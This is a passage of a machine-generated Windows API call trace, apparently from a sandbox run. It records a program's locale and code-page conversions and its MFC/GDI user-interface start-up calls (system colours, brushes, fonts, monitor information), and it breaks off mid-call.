\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ") returned 256 [0099.316] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0099.316] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0xbdf158, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0099.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0xbdf92c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x30\x0b\xe9\x68\xfb\xbd", lpUsedDefaultChar=0x0) returned 256 [0099.316] GetLastError () returned 0x0 [0099.316] SetLastError (dwErrCode=0x0) [0099.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbdfa2c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbdfa2c, cbMultiByte=256, lpWideCharStr=0xbdf388, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.316] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0099.316] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xbdf178, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0099.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0xbdf82c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x30\x0b\xe9\x68\xfb\xbd", lpUsedDefaultChar=0x0) returned 256 [0099.316] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0099.316] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x127b866) returned 0x0 [0099.318] GetCurrentThread () returned 0xfffffffe [0099.318] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0xbdfb94, lpExitTime=0xbdfb9c, lpKernelTime=0xbdfb9c, lpUserTime=0xbdfb9c | out: lpCreationTime=0xbdfb94, lpExitTime=0xbdfb9c, lpKernelTime=0xbdfb9c, lpUserTime=0xbdfb9c) returned 1 [0099.318] RtlInitializeSListHead (in: ListHead=0x139a0f8 | out: ListHead=0x139a0f8) [0099.320] GlobalLock (hMem=0xf90004) returned 0xc334e8 [0099.320] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0xc3d658 [0099.320] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0xc3ce40 [0099.320] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0xc3d7c8 [0099.320] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0xc38138 [0099.321] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16f [0099.322] RegisterClipboardFormatW (lpszFormat="AFX_WM_DRAW2D") returned 0xc170 [0099.323] RegisterClipboardFormatW (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc171 [0099.323] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc172 [0099.323] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc173 [0099.323] GetSystemMetrics (nIndex=11) returned 32 [0100.779] GetSystemMetrics (nIndex=12) returned 32 [0100.780] GetSystemMetrics (nIndex=2) returned 17 [0100.780] GetSystemMetrics (nIndex=3) returned 17 [0100.780] GetDC (hWnd=0x0) returned 0x10105e0 [0100.780] GetDeviceCaps (hdc=0x10105e0, index=88) returned 96 [0100.780] GetDeviceCaps (hdc=0x10105e0, index=90) returned 96 [0100.780] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0100.780] GetSysColor (nIndex=15) returned 0xf0f0f0 [0100.780] GetSysColor (nIndex=16) returned 0xa0a0a0 [0100.780] GetSysColor (nIndex=20) returned 0xffffff [0100.780] GetSysColor (nIndex=18) returned 0x0 [0100.780] GetSysColor (nIndex=6) returned 0x646464 [0100.780] GetSysColorBrush (nIndex=15) returned 0x1100074 [0100.780] GetSysColorBrush (nIndex=6) returned 0x110007c [0100.780] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0100.780] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0100.781] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0100.781] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0100.781] VerifyVersionInfoW (in: lpVersionInformation=0xbdfa5c, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0xbdfa5c) returned 1 [0100.781] GetSystemMetrics (nIndex=4096) returned 0 [0100.781] GetSysColor (nIndex=22) returned 0xe3e3e3 [0100.781] GetSysColor (nIndex=21) returned 0x696969 [0100.781] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0100.781] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0xc337e0 [0100.782] LocalReAlloc (hMem=0xc3d7c8, uBytes=0xc, uFlags=0x2) returned 0xc33840 [0100.782] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0100.782] GetSysColor (nIndex=15) returned 0xf0f0f0 [0100.782] GetSysColor (nIndex=16) returned 0xa0a0a0 [0100.782] GetSysColor (nIndex=21) returned 0x696969 [0100.782] GetSysColor (nIndex=22) returned 0xe3e3e3 [0100.782] GetSysColor (nIndex=20) returned 0xffffff [0100.782] GetSysColor (nIndex=18) returned 0x0 [0100.782] GetSysColor (nIndex=17) returned 0x6d6d6d [0100.782] GetSysColor (nIndex=6) returned 0x646464 [0100.782] GetSysColor (nIndex=13) returned 0xff9933 [0100.782] GetSysColor (nIndex=14) returned 0xffffff [0100.782] GetSysColor (nIndex=5) returned 0xffffff [0100.782] GetSysColor (nIndex=8) returned 0x0 [0100.782] GetSysColor (nIndex=9) returned 0x0 [0100.782] GetSysColor (nIndex=7) returned 0x0 [0100.782] GetSysColor (nIndex=2) returned 0xd1b499 [0100.782] GetSysColor (nIndex=3) returned 0xdbcdbf [0100.782] GetSysColor (nIndex=27) returned 0xead1b9 [0100.782] GetSysColor (nIndex=28) returned 0xf2e4d7 [0100.782] GetSysColor (nIndex=10) returned 0xb4b4b4 [0100.782] GetSysColor (nIndex=11) returned 0xfcf7f4 [0100.782] GetSysColor (nIndex=19) returned 0x0 [0100.782] GetSysColor (nIndex=26) returned 0xcc6600 [0100.782] GetSysColorBrush (nIndex=16) returned 0x1100075 [0100.783] GetSysColorBrush (nIndex=20) returned 0x1100076 [0100.783] GetSysColorBrush (nIndex=5) returned 0x110007b [0100.783] CreateSolidBrush (color=0xf0f0f0) returned 0x461006d6 [0100.783] CreateSolidBrush (color=0xf0f0f0) returned 0x491006bd [0100.783] CreateSolidBrush (color=0xd1b499) returned 0x421006bc [0100.783] CreateSolidBrush (color=0xdbcdbf) returned 0x6f10054e [0100.783] CreateSolidBrush (color=0xff9933) returned 0x3c10070e [0100.783] CreateSolidBrush (color=0x696969) returned 0x8100742 [0100.784] CreateSolidBrush (color=0xffffff) returned 0x44100553 [0100.784] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x29300722 [0100.784] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0xe30071e [0100.784] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x8300740 [0100.784] CreateSolidBrush (color=0xf7f7f7) returned 0x1a1001b3 [0100.786] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0100.786] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0100.787] GetDeviceCaps (hdc=0xa0100d0, index=88) returned 96 [0100.787] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xbdf7e4, fWinIni=0x0 | out: pvParam=0xbdf7e4) returned 1 [0100.793] GetTextCharsetInfo (in: hdc=0xa0100d0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0100.793] lstrcpyW (in: lpString1=0xbdf9f8, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0100.793] EnumFontFamiliesW (hdc=0xa0100d0, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0100.801] lstrcpyW (in: lpString1=0xbdf9f8, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0100.801] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x440a06a9 [0100.801] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x60a0732 [0100.801] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xbdf5ec, fWinIni=0x0 | out: pvParam=0xbdf5ec) returned 1 [0100.801] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x2e0a06c7 [0100.801] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x110a01af [0100.801] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x40a0746 [0100.802] GetSystemMetrics (nIndex=72) returned 15 [0100.802] lstrcpyW (in: lpString1=0xbdf9f8, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0100.802] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x4c0a073b [0100.802] GetStockObject (i=17) returned 0x18a0025 [0100.802] GetObjectW (in: h=0x18a0025, c=92, pv=0xbdf9dc | out: pv=0xbdf9dc) returned 92 [0100.802] lstrcpyW (in: lpString1=0xbdf9f8, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0100.802] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x210a0705 [0100.802] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x30a073c [0100.802] GetStockObject (i=17) returned 0x18a0025 [0100.803] GetObjectW (in: h=0x18a0025, c=92, pv=0xbdf9dc | out: pv=0xbdf9dc) returned 92 [0100.803] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x250a0723 [0100.803] CreateFontIndirectW (lplf=0xbdf9dc) returned 0x220a071f [0100.803] GetWindowDC (hWnd=0x0) returned 0x3010738 [0100.803] SelectObject (hdc=0x3010738, h=0x440a06a9) returned 0x18a0048 [0100.804] GetTextMetricsW (in: hdc=0x3010738, lptm=0xbdf560 | out: lptm=0xbdf560) returned 1 [0100.804] SelectObject (hdc=0x3010738, h=0x210a0705) returned 0x440a06a9 [0100.805] GetTextMetricsW (in: hdc=0x3010738, lptm=0xbdf560 | out: lptm=0xbdf560) returned 1 [0100.805] SelectObject (hdc=0x3010738, h=0x18a0048) returned 0x210a0705 [0100.805] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0100.805] DeleteObject (ho=0x18a0025) returned 1 [0100.805] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0100.806] GetSystemMetrics (nIndex=49) returned 16 [0100.806] GetSystemMetrics (nIndex=50) returned 16 [0100.806] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0100.806] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0100.806] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xbdf978 | out: lpmi=0xbdf978) returned 1 [0100.806] CopyRect (in: lprcDst=0xbdf9a0, lprcSrc=0xbdf98c | out: lprcDst=0xbdf9a0) returned 1 [0100.806] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0100.806] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0100.806] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0100.807] RegisterClipboardFormatW (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc174 [0100.807] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc175 [0100.807] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CREATE") returned 0xc176 [0100.807] RegisterClipboardFormatW 